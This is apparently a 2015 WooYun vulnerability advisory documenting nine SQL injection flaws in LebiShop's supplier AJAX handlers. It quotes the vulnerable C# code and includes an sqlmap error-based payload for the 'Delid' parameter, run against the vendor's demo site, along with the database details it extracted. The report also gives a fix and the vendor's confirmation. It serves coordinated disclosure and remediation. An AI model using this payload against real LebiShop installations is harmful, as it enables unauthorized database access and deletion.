当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092914

漏洞标题:LebiShop商城系统最新版九处SQL注入四

相关厂商:www.lebi.cn

漏洞作者: xfkxfk

提交时间:2015-01-23 15:33

修复时间:2015-04-23 15:34

公开时间:2015-04-23 15:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-23: 细节已通知厂商并且等待厂商处理中
2015-01-26: 厂商已经确认,细节仅向厂商公开
2015-01-29: 细节向第三方安全合作伙伴开放
2015-03-22: 细节向核心白帽子及相关领域专家公开
2015-04-01: 细节向普通白帽子公开
2015-04-11: 细节向实习白帽子公开
2015-04-23: 细节向公众公开

简要描述:

LebiShop商城系统最新版九处SQL注入四

详细说明:

LebiShop商城系统最新版九处SQL注入
因为这里是在商家模块,所以官方demo演示地址为:

http://plus.demo.lebi.cn


注册并登陆普通用户后,才有申请注册商家用户的功能,这里的商家注册功能是默认开发注册的
所以我们注册普通用户shoptest,然后申请注册商家用户即可
此时shoptest用户及时普通用户也是商家用户
下面来看看申请注册商家用户后的SQL注入漏洞
第一处SQL注入漏洞
Shop.supplier.ajax目录下的ajax_product.aspx文件
首先看看Ask_Del方法:

// Shop.supplier.Ajax.Ajax_product
public void Ask_Del()
{
if (!base.Power("supplier_ask_del", "删除商品咨询"))
{
base.AjaxNoPower();
return;
}
string id = RequestTool.RequestString("Delid");
if (id == "")
{
base.Response.Write("{\"msg\":\"" + base.Tag("请选择要删除的信息") + "\"}");
return;
}
B_Lebi_Comment.Delete("Parentid in (" + id + ")");
B_Lebi_Comment.Delete("id in (" + id + ")");
Log.Add("删除商品咨询", "Comment", id.ToString(), this.CurrentSupplier, id.ToString());
base.Response.Write("{\"msg\":\"OK\"}");
}


参数id通过RequestTool.RequestString("Delid");获取
然后进入delete方法的in条件sql语句中
因为在RequestString中只处理了单引号,但是在in条件中没有引号保护,导致sql注入产生
第二处SQL注入

// Shop.supplier.Ajax.Ajax_product
public void Comment_Del()
{
if (!base.Power("supplier_comment_del", "删除商品评价"))
{
base.AjaxNoPower();
return;
}
string id = RequestTool.RequestString("Delid");
if (id == "")
{
base.Response.Write("{\"msg\":\"" + base.Tag("请选择要删除的信息") + "\"}");
return;
}
B_Lebi_Comment.Delete("Parentid in (" + id + ")");
B_Lebi_Comment.Delete("id in (" + id + ")");
Log.Add("删除商品评价", "Comment", id.ToString(), this.CurrentSupplier, id.ToString());
base.Response.Write("{\"msg\":\"OK\"}");
}


SQL注入原因同第一处SQL注入原因
第三处SQL注入

// Shop.supplier.Ajax.Ajax_product
public void Comment_Update()
{
if (!base.Power("supplier_comment_edit", "编辑商品评价"))
{
base.AjaxNoPower();
return;
}
string ids = RequestTool.RequestString("IDS");
List<Lebi_Comment> models = B_Lebi_Comment.GetList("id in (" + ids + ")", "");


SQL注入原因同第一处SQL注入原因,ids进入GetList方法的in条件sql语句,无单引号
第四处SQL注入

// Shop.supplier.Ajax.Ajax_product
public void Product_Batch_Update()
{
if (!base.Power("supplier_product_batch_edit", "批量编辑"))
{
base.AjaxNoPower();
return;
}
string ids = RequestTool.RequestString("IDS");
List<Lebi_Product> models = B_Lebi_Product.GetList("id in (" + ids + ")", "");


SQL注入原因同上
第五处SQL注入

// Shop.supplier.Ajax.Ajax_product
public void Product_Del()
{
if (!base.Power("supplier_product_del", "删除商品"))
{
base.AjaxNoPower();
return;
}
string id = RequestTool.RequestString("sonproductid");
if (id == "")
{
base.Response.Write("{\"msg\":\"" + base.Tag("请选择要删除的信息") + "\"}");
return;
}
List<Lebi_Product> pros = B_Lebi_Product.GetList("Product_id in (" + id + ")", "");
foreach (Lebi_Product pro in pros)
{
id = id + "," + pro.id;
}
ImageHelper.LebiImagesDelete("product", id);
B_Lebi_Product.Delete("id in (" + id + ")");
Log.Add("删除商品", "Product", id.ToString(), this.CurrentSupplier, id.ToString());
base.Response.Write("{\"msg\":\"OK\"}");
}


SQL注入原因同上
这里存在多处SQL注入问题,在GetList,LebiImagesDelete,Delete方法中都存在sql注入问题
第六处SQL注入

// Shop.supplier.Ajax.Ajax_product
public void Product_Image_Edit_muti()
{
if (!base.Power("supplier_product_edit", "编辑商品"))
{
base.AjaxNoPower();
return;
}
string ids = RequestTool.RequestString("ids");
string imagesmall = RequestTool.RequestString("smalliamge");
string images = RequestTool.RequestString("images");
List<Lebi_Product> models = B_Lebi_Product.GetList("id in (" + ids + ")", "");


SQL注入原因同上
第七处SQL注入

// Shop.supplier.Ajax.Ajax_product
public void Product_Status_Edit_muti()
{
if (!base.Power("supplier_product_edit", "编辑商品"))
{
base.AjaxNoPower();
return;
}
int status = RequestTool.RequestInt("status", 0);
string ids = RequestTool.RequestString("sonproductid");
if (ids == "")
{
base.Response.Write("{\"msg\":\"" + base.Tag("请选择要修改的商品") + "\"}");
return;
}
status = ((status == 1) ? 101 : 100);
if (this.CurrentSupplierGroup.IsSubmit == 0)
{
status = 100;
}
List<Lebi_Product> models = B_Lebi_Product.GetList("id in (" + ids + ")", "");


SQL注入原因同上
第八处SQL注入

// Shop.supplier.Ajax.Ajax_product
public void Supplier_ProductType_Edit()
{
if (!base.Power("supplier_product_edit", "编辑商品"))
{
base.AjaxNoPower();
return;
}
string ids = RequestTool.RequestString("ids");
if (ids == "")
{
base.Response.Write("{\"msg\":\"" + base.Tag("请选择要修改的商品") + "\"}");
return;
}
List<Lebi_Product> models = B_Lebi_Product.GetList(string.Concat(new object[]
{
"Supplier_id = ",
this.CurrentSupplier.id,
" and id in (",
ids,
")"
}), "");


SQL注入原因同上
第九处SQL注入

// Shop.supplier.Ajax.Ajax_product
public void Type_Del()
{
if (!base.Power("supplier_pro_type", "商品分类"))
{
base.AjaxNoPower();
}
string id = RequestTool.RequestString("id");
if (id == "")
{
base.Response.Write("{\"msg\":\"" + base.Tag("请选择要删除的信息") + "\"}");
return;
}
B_Lebi_Supplier_ProductType.Delete("id in (" + id + ")");
ImageHelper.LebiImagesDelete("supplierproducttype", id);
Log.Add("删除商品分类", "Pro_Type", id.ToString(), this.CurrentSupplier, id.ToString());
base.Response.Write("{\"msg\":\"OK\"}");
}


SQL注入原因同上

漏洞证明:

以第一处为例证明
官方demo测试
报出mssql版本:

1.png


报出当前数据库:

2.png


使用sqlmap跑一下数据:

---
Place: POST
Parameter: Delid
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Delid=123) AND 3591=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(103)+CHAR(110)+CHAR(113)+(SELECT (CASE WHEN (3591=3591) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(103)+CHAR(118)+CHAR(120)+CHAR(113))) AND (1472=1472
---
[16:18:35] [INFO] testing Microsoft SQL Server
[16:18:35] [INFO] confirming Microsoft SQL Server
[16:18:36] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
[16:18:36] [INFO] fetching current database
[16:18:36] [INFO] retrieved: db_plusdemolebicn
current database: 'db_plusdemolebicn'
[16:18:36] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 39 times
[16:18:36] [INFO] fetched data logged to text files under 'C:\Users\user\Desktop\sqlmap\output\plus.demo.lebi.cn'

修复方案:

使用RequestTool.RequestInt("xxx"),或者给变量加单引号保护

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-01-26 15:08

厂商回复:

官方已修复,感谢

最新状态:

暂无